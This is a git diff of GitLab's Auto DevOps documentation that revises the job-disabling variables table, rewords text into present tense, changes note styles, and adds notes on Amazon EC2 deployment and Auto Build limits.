-| `DAST_DISABLED` | From GitLab 11.0, used to disable the `dast` job. If the variable is present, the job won't be created. |
-| `DEPENDENCY_SCANNING_DISABLED` | From GitLab 11.0, used to disable the `dependency_scanning` job. If the variable is present, the job won't be created. |
-| `LICENSE_MANAGEMENT_DISABLED` | From GitLab 11.0, used to disable the `license_management` job. If the variable is present, the job won't be created. |
-| `PERFORMANCE_DISABLED` | From GitLab 11.0, used to disable the browser `performance` job. If the variable is present, the job won't be created. |
-| `LOAD_PERFORMANCE_DISABLED` | From GitLab 13.2, used to disable the `load_performance` job. If the variable is present, the job won't be created. |
-| `REVIEW_DISABLED` | From GitLab 11.0, used to disable the `review` and the manual `review:stop` job. If the variable is present, these jobs won't be created. |
-| `SAST_DISABLED` | From GitLab 11.0, used to disable the `sast` job. If the variable is present, the job won't be created. |
-| `TEST_DISABLED` | From GitLab 11.0, used to disable the `test` job. If the variable is present, the job won't be created. |
-| `SECRET_DETECTION_DISABLED` | From GitLab 13.1, used to disable the `secret_detection` job. If the variable is present, the job won't be created. |
-| `CODE_INTELLIGENCE_DISABLED` | From GitLab 13.6, used to disable the `code_intelligence` job. If the variable is present, the job won't be created. |
+| **Job Name** | **Variable** | **GitLab version** | **Description** |
+|----------------------------------------|---------------------------------|-----------------------|-----------------|
+| `.fuzz_base` | `COVFUZZ_DISABLED` | [From GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34984) | [Read more](../../user/application_security/coverage_fuzzing/) about how `.fuzz_base` provide capability for your own jobs. If the variable is present, your jobs aren't created. |
+| `apifuzzer_fuzz` | `API_FUZZING_DISABLED` | [From GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39135) | If the variable is present, the job isn't created. |
+| `bandit-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. |
+| `brakeman-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. |
+| `bundler-audit-dependency_scanning` | `DEPENDENCY_SCANNING_DISABLED` | | If the variable is present, the job isn't created. |
+| `canary` | `CANARY_ENABLED` | | This manual job is created if the variable is present. |
+| `code_intelligence` | `CODE_INTELLIGENCE_DISABLED` | From GitLab 13.6 | If the variable is present, the job isn't created. |
+| `codequality` | `CODE_QUALITY_DISABLED` | Until GitLab 11.0 | If the variable is present, the job isn't created. |
+| `code_quality` | `CODE_QUALITY_DISABLED` | [From GitLab 11.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/5773) | If the variable is present, the job isn't created. |
+| `container_scanning` | `CONTAINER_SCANNING_DISABLED` | From GitLab 11.0 | If the variable is present, the job isn't created. |
+| `dast` | `DAST_DISABLED` | From GitLab 11.0 | If the variable is present, the job isn't created. |
+| `dast_environment_deploy` | `DAST_DISABLED_FOR_DEFAULT_BRANCH` or `DAST_DISABLED` | [From GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/17789) | If either variable is present, the job isn't created. |
+| `dependency_scanning` | `DEPENDENCY_SCANNING_DISABLED` | From GitLab 11.0 | If the variable is present, the job isn't created. |
+| `eslint-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. |
+| `flawfinder-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. |
+| `gemnasium-dependency_scanning` | `DEPENDENCY_SCANNING_DISABLED` | | If the variable is present, the job isn't created. |
+| `gemnasium-maven-dependency_scanning` | `DEPENDENCY_SCANNING_DISABLED` | | If the variable is present, the job isn't created. |
+| `gemnasium-python-dependency_scanning` | `DEPENDENCY_SCANNING_DISABLED` | | If the variable is present, the job isn't created. |
+| `gosec-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. |
+| `kubesec-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. |
+| `license_management` | `LICENSE_MANAGEMENT_DISABLED` | GitLab 11.0 to 12.7 | If the variable is present, the job isn't created. Job deprecated [from GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22773) |
+| `license_scanning` | `LICENSE_MANAGEMENT_DISABLED` | [From GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22773) | If the variable is present, the job isn't created. |
+| `load_performance` | `LOAD_PERFORMANCE_DISABLED` | From GitLab 13.2 | If the variable is present, the job isn't created. |
+| `nodejs-scan-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. |
+| `performance` | `PERFORMANCE_DISABLED` | From GitLab 11.0 | Browser performance. If the variable is present, the job isn't created. |
+| `phpcs-security-audit-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. |
+| `pmd-apex-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. |
+| `retire-js-dependency_scanning` | `DEPENDENCY_SCANNING_DISABLED` | | If the variable is present, the job isn't created. |
+| `review` | `REVIEW_DISABLED` | From GitLab 11.0 | If the variable is present, the job isn't created. |
+| `review:stop` | `REVIEW_DISABLED` | From GitLab 11.0 | Manual job. If the variable is present, the job isn't created. |
+| `sast` | `SAST_DISABLED` | From GitLab 11.0 | If the variable is present, the job isn't created. |
+| `sast:container` | `CONTAINER_SCANNING_DISABLED` | From GitLab 11.0 | If the variable is present, the job isn't created. |
+| `secret_detection` | `SECRET_DETECTION_DISABLED` | From GitLab 13.1 | If the variable is present, the job isn't created. |
+| `secret_detection_default_branch` | `SECRET_DETECTION_DISABLED` | [From GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22773) | If the variable is present, the job isn't created. |
+| `security-code-scan-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. |
+| `secrets-sast` | `SAST_DISABLED` | From GitLab 11.0 | If the variable is present, the job isn't created. |
+| `sobelaw-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. |
+| `stop_dast_environment` | `DAST_DISABLED_FOR_DEFAULT_BRANCH` or `DAST_DISABLED` | [From GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/17789) | If either variable is present, the job isn't created. |
+| `spotbugs-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. |
+| `test` | `TEST_DISABLED` | From GitLab 11.0 | If the variable is present, the job isn't created. |
+| `staging` | `STAGING_ENABLED` | | The job is created if the variable is present. |
+| `stop_review` | `REVIEW_DISABLED` | | If the variable is present, the job isn't created. |
### Application secret variables
@@ -418,7 +448,7 @@ To configure your application variables:
1. Run an Auto DevOps pipeline, either by manually creating a new
pipeline or by pushing a code change to GitLab.
-Auto DevOps pipelines will take your application secret variables to
+Auto DevOps pipelines take your application secret variables to
populate a Kubernetes secret. This secret is unique per environment.
When deploying your application, the secret is loaded as environment
variables in the container running the application. Following the
@@ -444,7 +474,7 @@ type: Opaque
Environment variables are generally considered immutable in a Kubernetes pod.
If you update an application secret without changing any code, then manually
-create a new pipeline, you will find any running application pods won't have
+create a new pipeline, any running application pods don't receive
the updated secrets. To update the secrets, either:
- Push a code update to GitLab to force the Kubernetes deployment to recreate pods.
@@ -465,7 +495,7 @@ enabling you to define your own variables for scaling the pod's replicas:
- `TRACK`: The capitalized value of the `track`
[Kubernetes label](https://kubernetes.io/docs/concepts/overview/working-with-objects/labels/)
- in the Helm Chart app definition. If not set, it won't be taken into account
+ in the Helm Chart app definition. If not set, it isn't taken into account
to the variable name.
- `ENV`: The capitalized environment name of the deploy job, set in
`.gitlab-ci.yml`.
@@ -508,7 +538,7 @@ service:
> [Introduced](https://gitlab.com/gitlab-org/gitlab-ci-yml/-/merge_requests/160) in GitLab 10.8.
-TIP: **Tip:**
+NOTE:
You can also set this inside your [project's settings](index.md#deployment-strategy).
The normal behavior of Auto DevOps is to use continuous deployment, pushing
@@ -537,7 +567,7 @@ If you define `CANARY_ENABLED` with a non-empty value, then two manual jobs are
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5415) in GitLab 10.8.
-TIP: **Tip:**
+NOTE:
You can also set this inside your [project's settings](index.md#deployment-strategy).
When you're ready to deploy a new version of your app to production, you may want
@@ -547,7 +577,7 @@ check how the application is behaving before manually increasing the rollout up
If `INCREMENTAL_ROLLOUT_MODE` is set to `manual` in your project, then instead
of the standard `production` job, 4 different
[manual jobs](../../ci/pipelines/index.md#add-manual-interaction-to-your-pipeline)
-will be created:
+are created:
1. `rollout 10%`
1. `rollout 25%`
@@ -556,7 +586,7 @@ will be created:
The percentage is based on the `REPLICAS` variable, and defines the number of
pods you want to have for your deployment. If the value is `10`, and you run the
-`10%` rollout job, there will be `1` new pod + `9` old ones.
+`10%` rollout job, there is `1` new pod and `9` old ones.
To start a job, click the play icon (**{play}**) next to the job's name. You're not
required to go from `10%` to `100%`, you can jump to whatever job you want.
@@ -566,7 +596,7 @@ back by redeploying the old version using the
[rollback button](../../ci/environments/index.md#retrying-and-rolling-back) in the
environment page.
-Below, you can see how the pipeline will look if the rollout or staging
+Below, you can see how the pipeline appears if the rollout or staging
variables are defined.
Without `INCREMENTAL_ROLLOUT_MODE` and without `STAGING_ENABLED`:
@@ -585,16 +615,16 @@ With `INCREMENTAL_ROLLOUT_MODE` set to `manual` and with `STAGING_ENABLED`
![Rollout and staging enabled](img/rollout_staging_enabled.png)
-CAUTION: **Caution:**
+WARNING:
Before GitLab 11.4, the presence of the `INCREMENTAL_ROLLOUT_ENABLED` environment
-variable enabled this feature. This configuration is deprecated, and will be
+variable enabled this feature. This configuration is deprecated, and is scheduled to be
removed in the future.
### Timed incremental rollout to production **(PREMIUM)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7545) in GitLab 11.4.
-TIP: **Tip:**
+NOTE:
You can also set this inside your [project's settings](index.md#deployment-strategy).
This configuration is based on
@@ -632,5 +662,5 @@ The banner can be disabled for:
- Through the REST API with an admin access token:
```shell
- curl --data "value=true" --header "PRIVATE-TOKEN: <personal_access_token>" https://gitlab.example.com/api/v4/features/auto_devops_banner_disabled
+ curl --data "value=true" --header "PRIVATE-TOKEN: <personal_access_token>" "https://gitlab.example.com/api/v4/features/auto_devops_banner_disabled"
```
diff --git a/doc/topics/autodevops/index.md b/doc/topics/autodevops/index.md
index 014690c4cdf..7234bca8e12 100644
--- a/doc/topics/autodevops/index.md
+++ b/doc/topics/autodevops/index.md
@@ -1,7 +1,7 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Auto DevOps
@@ -38,18 +38,21 @@ For requirements, see [Requirements for Auto DevOps](requirements.md) for more i
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41729) in GitLab 11.3.
-Auto DevOps is enabled by default for all projects and attempts to run on all pipelines
-in each project. An instance administrator can enable or disable this default in the
+On self-managed instances, Auto DevOps is enabled by default for all projects.
+It attempts to run on all pipelines in each project. An instance administrator can
+enable or disable this default in the
[Auto DevOps settings](../../user/admin_area/settings/continuous_integration.md#auto-devops).
Auto DevOps automatically disables in individual projects on their first pipeline failure,
-if it has not been explicitly enabled for the project.
+
+NOTE:
+Auto DevOps is not enabled by default on GitLab.com.
Since [GitLab 12.7](https://gitlab.com/gitlab-org/gitlab/-/issues/26655), Auto DevOps
runs on pipelines automatically only if a [`Dockerfile` or matching buildpack](stages.md#auto-build)
exists.
If a [CI/CD configuration file](../../ci/yaml/README.md) is present in the project,
-it will continue to be used, whether or not Auto DevOps is enabled.
+it continues to be used, whether or not Auto DevOps is enabled.
## Quick start
@@ -73,7 +76,7 @@ innovative work done by [Heroku](https://www.heroku.com/) and goes beyond it
in multiple ways:
- Auto DevOps works with any Kubernetes cluster; you're not limited to running
- on GitLab's infrastructure. (Note that many features also work without Kubernetes).
+ on infrastructure managed by GitLab. (Note that many features also work without Kubernetes).
- There is no additional cost (no markup on the infrastructure costs), and you
can use a Kubernetes cluster you host or Containers as a Service on any
public cloud (for example, [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine/)).
@@ -85,6 +88,9 @@ in multiple ways:
## Features
+NOTE:
+Depending on your target platform, some features might not be available to you.
+
Comprised of a set of [stages](stages.md), Auto DevOps brings these best practices to your
project in a simple and automatic way:
@@ -120,7 +126,7 @@ Auto DevOps provides great defaults for all the stages and makes use of
For an overview on the creation of Auto DevOps, read more
[in this blog post](https://about.gitlab.com/blog/2017/06/29/whats-next-for-gitlab-ci/).
-NOTE: **Note:**
+NOTE:
Kubernetes clusters can [be used without](../../user/project/clusters/index.md)
Auto DevOps.
@@ -146,14 +152,14 @@ any of the following places:
The base domain variable `KUBE_INGRESS_BASE_DOMAIN` follows the same order of precedence
as other environment [variables](../../ci/variables/README.md#priority-of-environment-variables).
If the CI/CD variable is not set and the cluster setting is left blank, the instance-wide **Auto DevOps domain**
-setting will be used if set.
+setting is used if set.
-TIP: **Tip:**
+NOTE:
If you use the [GitLab managed app for Ingress](../../user/clusters/applications.md#ingress),
the URL endpoint should be automatically configured for you. All you must do
is use its value for the `KUBE_INGRESS_BASE_DOMAIN` variable.
-NOTE: **Note:**
+NOTE:
`AUTO_DEVOPS_DOMAIN` was [deprecated in GitLab 11.8](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/52363)
and replaced with `KUBE_INGRESS_BASE_DOMAIN`, and removed in
[GitLab 12.0](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/56959).
@@ -236,7 +242,7 @@ Auto DevOps at the group and project level, respectively.
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/38542) in GitLab 11.0.
-You can change the deployment strategy used by Auto DevOps by going to your
+You can change the deployment strategy used by Auto DevOps by visiting your
project's **Settings > CI/CD > Auto DevOps**. The following options
are available:
@@ -254,7 +260,7 @@ are available:
- `master` branch is directly deployed to staging.
- Manual actions are provided for incremental rollout to production.
-TIP: **Tip:**
+NOTE:
Use the [blue-green deployment](../../ci/environments/incremental_rollouts.md#blue-green-deployment) technique
to minimize downtime and risk.
@@ -313,7 +319,7 @@ simplify configuration and prevent any unforeseen issues.
### Install applications behind a proxy
-GitLab's Helm integration does not support installing applications when
+The GitLab integration with Helm does not support installing applications when
behind a proxy. Users who want to do so must inject their proxy settings
into the installation pods at runtime, such as by using a
[`PodPreset`](https://kubernetes.io/docs/concepts/workloads/pods/podpreset/):
@@ -372,7 +378,7 @@ To fix this issue, you must either:
### Failure to create a Kubernetes namespace
-Auto Deploy will fail if GitLab can't create a Kubernetes namespace and
+Auto Deploy fails if GitLab can't create a Kubernetes namespace and
service account for your project. For help debugging this issue, see
[Troubleshooting failed deployment jobs](../../user/project/clusters/index.md#troubleshooting).
@@ -407,7 +413,7 @@ If you receive this error, you can do one of the following actions:
database by setting `AUTO_DEVOPS_POSTGRES_DELETE_V1` to a non-empty value and
redeploying.
- DANGER: **Warning:**
+ WARNING:
Deleting the channel 1 PostgreSQL database permanently deletes the existing
channel 1 database and all its data. See
[Upgrading PostgreSQL](upgrading_postgresql.md)
@@ -421,7 +427,7 @@ If you receive this error, you can do one of the following actions:
and persisted by Helm, regardless of whether or not your chart uses the
variable.
-DANGER: **Warning:**
+WARNING:
Setting `POSTGRES_ENABLED` to `false` permanently deletes any existing
channel 1 database for your environment.
@@ -476,7 +482,7 @@ that works for this problem. Follow these steps to use the tool in Auto DevOps:
### Error: error initializing: Looks like "https://kubernetes-charts.storage.googleapis.com" is not a valid chart repository or cannot be reached
As [announced in the official CNCF blogpost](https://www.cncf.io/blog/2020/10/07/important-reminder-for-all-helm-users-stable-incubator-repos-are-deprecated-and-all-images-are-changing-location/),
-the stable Helm chart repository will be deprecated and removed on November 13th, 2020.
+the stable Helm chart repository was deprecated and removed on November 13th, 2020.
You may encounter this error after that date.
Some GitLab features had dependencies on the stable chart. To mitigate the impact, we changed them
@@ -495,7 +501,7 @@ include:
image: "registry.gitlab.com/gitlab-org/cluster-integration/auto-deploy-image:v1.0.5"
```
-Keep in mind that this approach will eventually stop working when the stable repository is removed,
+Keep in mind that this approach stops working when the stable repository is removed,
so you must eventually fix your custom chart.
To fix your custom chart:
diff --git a/doc/topics/autodevops/quick_start_guide.md b/doc/topics/autodevops/quick_start_guide.md
index 3531035eb67..5c3b296fdea 100644
--- a/doc/topics/autodevops/quick_start_guide.md
+++ b/doc/topics/autodevops/quick_start_guide.md
@@ -1,20 +1,20 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Getting started with Auto DevOps
-This step-by-step guide will help you use [Auto DevOps](index.md) to
+This step-by-step guide helps you use [Auto DevOps](index.md) to
deploy a project hosted on GitLab.com to Google Kubernetes Engine.
-You will use GitLab's native Kubernetes integration, so you won't need
+You are using the GitLab native Kubernetes integration, so you don't need
to create a Kubernetes cluster manually using the Google Cloud Platform console.
-You will create and deploy a simple application that you create from a GitLab template.
+You are creating and deploying a simple application that you create from a GitLab template.
-These instructions will also work for a self-managed GitLab instance; you'll just
-need to ensure your own [runners are configured](../../ci/runners/README.md) and
+These instructions also work for a self-managed GitLab instance;
+ensure your own [runners are configured](../../ci/runners/README.md) and
[Google OAuth is enabled](../../integration/google.md).
## Configure your Google account
@@ -29,16 +29,16 @@ or Google Drive, or create a new one.
1. Ensure you've created a [billing account](https://cloud.google.com/billing/docs/how-to/manage-billing-account)
with Google Cloud Platform.
-TIP: **Tip:**
+NOTE:
Every new Google Cloud Platform (GCP) account receives [$300 in credit](https://console.cloud.google.com/freetrial),
and in partnership with Google, GitLab is able to offer an additional $200 for new
-GCP accounts to get started with GitLab's Google Kubernetes Engine Integration.
+GCP accounts to get started with the GitLab integration with Google Kubernetes Engine.
[Follow this link](https://cloud.google.com/partners/partnercredit/?pcn_code=0014M00001h35gDQAQ#contact-form)
and apply for credit.
## Create a new project from a template
-We will use one of GitLab's project templates to get started. As the name suggests,
+We are using a GitLab project template to get started. As the name suggests,
those projects provide a bare-bones application built on some well-known frameworks.
1. In GitLab, click the plus icon (**{plus-square}**) at the top of the navigation bar, and select
@@ -57,7 +57,7 @@ those projects provide a bare-bones application built on some well-known framewo
1. Click **Create project**.
-Now that you've created a project, you'll next create the Kubernetes cluster
+Now that you've created a project, create the Kubernetes cluster
to deploy this project to.
## Create a Kubernetes cluster from within GitLab
@@ -98,30 +98,30 @@ to deploy this project to.
1. Click **Create Kubernetes cluster**.
-After a couple of minutes, the cluster will be created. You can also see its
+After a couple of minutes, the cluster is created. You can also see its
status on your [GCP dashboard](https://console.cloud.google.com/kubernetes).
-Next, you will install some applications on your cluster that are needed
+Next, install some applications on your cluster that are needed
to take full advantage of Auto DevOps.
## Install Ingress and Prometheus
-After your cluster is running, you can install your first applications.
-In this guide, we will install Ingress and Prometheus:
+After your cluster is running, you can install your first applications,
+Ingress and Prometheus:
- Ingress - Provides load balancing, SSL termination, and name-based virtual hosting,
using NGINX behind the scenes.
- Prometheus - An open-source monitoring and alerting system used to supervise the
deployed application.
-We won't install GitLab Runner in this quick start guide, as this guide uses the
+We aren't installing GitLab Runner in this quick start guide, as this guide uses the
shared runners provided by GitLab.com.
To install the applications:
- Click the **Install** button for **Ingress**.
- When the **Ingress Endpoint** is displayed, copy the IP address.
-- Add your **Base domain**. For this guide, we will use the domain suggested by GitLab.
+- Add your **Base domain**. For this guide, use the domain suggested by GitLab.
- Click **Save changes**.
![Cluster Base Domain](img/guide_base_domain_v12_3.png)
@@ -221,7 +221,7 @@ Kubernetes cluster, color-coded to show their status. Hovering over a square on
the deploy board displays the state of the deployment, and clicking the square
takes you to the pod's logs page.
-TIP: **Tip:**
+NOTE:
The example shows only one pod hosting the application at the moment, but you can add
more pods by defining the [`REPLICAS` variable](customize.md#environment-variables)
in **Settings > CI/CD > Environment variables**.
@@ -251,7 +251,7 @@ a few more that run only on branches other than `master`.
![Merge request](img/guide_merge_request_v12_3.png)
-After a few minutes you'll notice a test failed, which means a test was
+After a few minutes a test fails, which means a test was
'broken' by your change. Click on the failed `test` job to see more information
about it:
diff --git a/doc/topics/autodevops/requirements.md b/doc/topics/autodevops/requirements.md
index acec7b79d6b..824874ed4d4 100644
--- a/doc/topics/autodevops/requirements.md
+++ b/doc/topics/autodevops/requirements.md
@@ -1,13 +1,14 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Requirements for Auto DevOps
-You can set up Auto DevOps for [Kubernetes](#auto-devops-requirements-for-kubernetes)
-or [Amazon Elastic Container Service (ECS)](#auto-devops-requirements-for-amazon-ecs).
+You can set up Auto DevOps for [Kubernetes](#auto-devops-requirements-for-kubernetes),
+[Amazon Elastic Container Service (ECS)](#auto-devops-requirements-for-amazon-ecs),
+or [Amazon Cloud Compute](#auto-devops-requirements-for-amazon-ecs).
For more information about Auto DevOps, see [the main Auto DevOps page](index.md)
or the [quick start guide](quick_start_guide.md).
@@ -27,15 +28,15 @@ To make full use of Auto DevOps with Kubernetes, you need:
[Auto Deploy for Kubernetes 1.16+](stages.md#kubernetes-116).
1. NGINX Ingress. You can deploy it to your Kubernetes cluster by installing
the [GitLab-managed app for Ingress](../../user/clusters/applications.md#ingress),
- after configuring GitLab's Kubernetes integration in the previous step.
+ after configuring the GitLab integration with Kubernetes in the previous step.
Alternatively, you can use the
[`nginx-ingress`](https://github.com/helm/charts/tree/master/stable/nginx-ingress)
Helm chart to install Ingress manually.
- NOTE: **Note:**
- If you use your own Ingress instead of the one provided by GitLab's managed
- apps, ensure you're running at least version 0.9.0 of NGINX Ingress and
+ NOTE:
+ If you use your own Ingress instead of the one provided by GitLab Managed
+ Apps, ensure you're running at least version 0.9.0 of NGINX Ingress and
[enable Prometheus metrics](https://github.com/helm/charts/tree/master/stable/nginx-ingress#prometheus-metrics)
for the response metrics to appear. You must also
[annotate](https://kubernetes.io/docs/concepts/overview/working-with-objects/annotations/)
@@ -46,7 +47,7 @@ To make full use of Auto DevOps with Kubernetes, you need:
[Auto Deploy](stages.md#auto-deploy), and [Auto Monitoring](stages.md#auto-monitoring))
You need a domain configured with wildcard DNS, which all of your Auto DevOps
- applications will use. If you're using the
+ applications use. If you're using the
[GitLab-managed app for Ingress](../../user/clusters/applications.md#ingress),
the URL endpoint is automatically configured for you.
@@ -63,7 +64,7 @@ To make full use of Auto DevOps with Kubernetes, you need:
You can configure Docker-based runners to autoscale as well, using
[Docker Machine](https://docs.gitlab.com/runner/install/autoscaling.html).
- If you've configured GitLab's Kubernetes integration in the first step, you
+ If you've configured the GitLab integration with Kubernetes in the first step, you
can deploy it to your cluster by installing the
[GitLab-managed app for GitLab Runner](../../user/clusters/applications.md#gitlab-runner).
@@ -76,7 +77,7 @@ To make full use of Auto DevOps with Kubernetes, you need:
To enable Auto Monitoring, you need Prometheus installed either inside or
outside your cluster, and configured to scrape your Kubernetes cluster.
- If you've configured GitLab's Kubernetes integration, you can deploy it to
+ If you've configured the GitLab integration with Kubernetes, you can deploy it to
your cluster by installing the
[GitLab-managed app for Prometheus](../../user/clusters/applications.md#prometheus).
@@ -94,8 +95,8 @@ To make full use of Auto DevOps with Kubernetes, you need:
a native Kubernetes certificate management controller that helps with issuing
certificates. Installing cert-manager on your cluster issues a
[Let’s Encrypt](https://letsencrypt.org/) certificate and ensures the
- certificates are valid and up-to-date. If you've configured GitLab's Kubernetes
- integration, you can deploy it to your cluster by installing the
+ certificates are valid and up-to-date. If you've configured the GitLab integration
+ with Kubernetes, you can deploy it to your cluster by installing the
[GitLab-managed app for cert-manager](../../user/clusters/applications.md#cert-manager).
If you don't have Kubernetes or Prometheus installed, then
@@ -111,7 +112,7 @@ After all requirements are met, you can [enable Auto DevOps](index.md#enablingdi
You can choose to target [AWS ECS](../../ci/cloud_deployment/index.md) as a deployment platform instead of using Kubernetes.
-To get started on Auto DevOps to AWS ECS, you'll have to add a specific Environment
+To get started on Auto DevOps to AWS ECS, you must add a specific Environment
Variable. To do so, follow these steps:
1. In your project, go to **Settings > CI / CD** and expand the **Variables**
@@ -124,19 +125,30 @@ Variable. To do so, follow these steps:
When you trigger a pipeline, if you have Auto DevOps enabled and if you have correctly
[entered AWS credentials as environment variables](../../ci/cloud_deployment/index.md#deploy-your-application-to-the-aws-elastic-container-service-ecs),
-your application will be deployed to AWS ECS.
+your application is deployed to AWS ECS.
[GitLab Managed Apps](../../user/clusters/applications.md) are not available when deploying to AWS ECS.
You must manually configure your application (such as Ingress or Help) on AWS ECS.
If you have both a valid `AUTO_DEVOPS_PLATFORM_TARGET` variable and a Kubernetes cluster tied to your project,
-only the deployment to Kubernetes will run.
+only the deployment to Kubernetes runs.
-CAUTION: **Warning:**
-Setting the `AUTO_DEVOPS_PLATFORM_TARGET` variable to `ECS` will trigger jobs
+WARNING:
+Setting the `AUTO_DEVOPS_PLATFORM_TARGET` variable to `ECS` triggers jobs
defined in the [`Jobs/Deploy/ECS.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy/ECS.gitlab-ci.yml).
However, it's not recommended to [include](../../ci/yaml/README.md#includetemplate)
it on its own. This template is designed to be used with Auto DevOps only. It may change
unexpectedly causing your pipeline to fail if included on its own. Also, the job
names within this template may also change. Do not override these jobs' names in your
-own pipeline, as the override will stop working when the name changes.
+own pipeline, as the override stops working when the name changes.
+
+## Auto DevOps requirements for Amazon EC2
+
+[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216008) in GitLab 13.6.
+
+You can target [AWS EC2](../../ci/cloud_deployment/index.md)
+as a deployment platform instead of Kubernetes. To use Auto DevOps with AWS EC2, you must add a
+specific environment variable.
+
+For more details, see [Custom build job for Auto DevOps](../../ci/cloud_deployment/index.md#custom-build-job-for-auto-devops)
+for deployments to AWS EC2.
diff --git a/doc/topics/autodevops/stages.md b/doc/topics/autodevops/stages.md
index f2d3b78e2b0..23ba6ad3356 100644
--- a/doc/topics/autodevops/stages.md
+++ b/doc/topics/autodevops/stages.md
@@ -1,7 +1,7 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Stages of Auto DevOps
@@ -11,6 +11,9 @@ Read them carefully to understand how each one works.
## Auto Build
+NOTE:
+Auto Build is not supported if Docker in Docker is not available for your GitLab Runners, like in OpenShift clusters. The OpenShift support in GitLab is tracked [in a dedicated epic](https://gitlab.com/groups/gitlab-org/-/epics/2068).
+
Auto Build creates a build of the application using an existing `Dockerfile` or
Heroku buildpacks. The resulting Docker image is pushed to the
[Container Registry](../../user/packages/container_registry/index.md), and tagged
@@ -48,7 +51,7 @@ language:
For the requirements of other languages and frameworks, read the
[Heroku buildpacks documentation](https://devcenter.heroku.com/articles/buildpacks#officially-supported-buildpacks).
-TIP: **Tip:**
+NOTE:
If Auto Build fails despite the project meeting the buildpack requirements, set
a project variable `TRACE=true` to enable verbose logging, which may help you
troubleshoot.
@@ -64,7 +67,7 @@ value. The default builder is `heroku/buildpacks:18` but a different builder
can be selected using the CI variable `AUTO_DEVOPS_BUILD_IMAGE_CNB_BUILDER`.
Cloud Native Buildpacks (CNBs) are an evolution of Heroku buildpacks, and
-will eventually supersede Herokuish-based builds within Auto DevOps. For more
+GitLab expects them to eventually supersede Herokuish-based builds within Auto DevOps. For more
information, see [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/212692).
Builds using Cloud Native Buildpacks support the same options as builds using
@@ -78,7 +81,7 @@ Heroku buildpacks, with the following caveats:
- The `/bin/herokuish` command is not present in the resulting image, and prefixing
commands with `/bin/herokuish procfile exec` is no longer required (nor possible).
-NOTE: **Note:**
+NOTE:
Auto Test still uses Herokuish, as test suite detection is not
yet part of the Cloud Native Buildpack specification. For more information, see
[this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/212689).
@@ -96,7 +99,7 @@ Check the [currently supported languages](#currently-supported-languages).
Auto Test uses tests you already have in your application. If there are no
tests, it's up to you to add them.
-NOTE: **Note:**
+NOTE:
Not all buildpacks supported by [Auto Build](#auto-build) are supported by Auto Test.
Auto Test uses [Herokuish](https://gitlab.com/gitlab-org/gitlab/-/issues/212689), *not*
Cloud Native Buildpacks, and only buildpacks that implement the
@@ -147,16 +150,13 @@ out. The merge request widget also displays any
> - Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.3.
> - Select functionality made available in all tiers beginning in 13.1
-Static Application Security Testing (SAST) uses the
-[SAST Docker image](https://gitlab.com/gitlab-org/security-products/sast) to run static
+Static Application Security Testing (SAST) runs static
analysis on the current code, and checks for potential security issues. The
-Auto SAST stage will be skipped on licenses other than
-[Ultimate](https://about.gitlab.com/pricing/), and requires
-[GitLab Runner](https://docs.gitlab.com/runner/) 11.5 or above.
+Auto SAST stage requires [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 or above.
After creating the report, it's uploaded as an artifact which you can later
download and check out. The merge request widget also displays any security
-warnings.
+warnings on [Ultimate](https://about.gitlab.com/pricing/) licenses.
To learn more about [how SAST works](../../user/application_security/sast/index.md),
see the documentation.
@@ -171,7 +171,7 @@ Secret Detection uses the
After creating the report, it's uploaded as an artifact which you can later
download and evaluate. The merge request widget also displays any security
-warnings.
+warnings on [Ultimate](https://about.gitlab.com/pricing/) licenses.
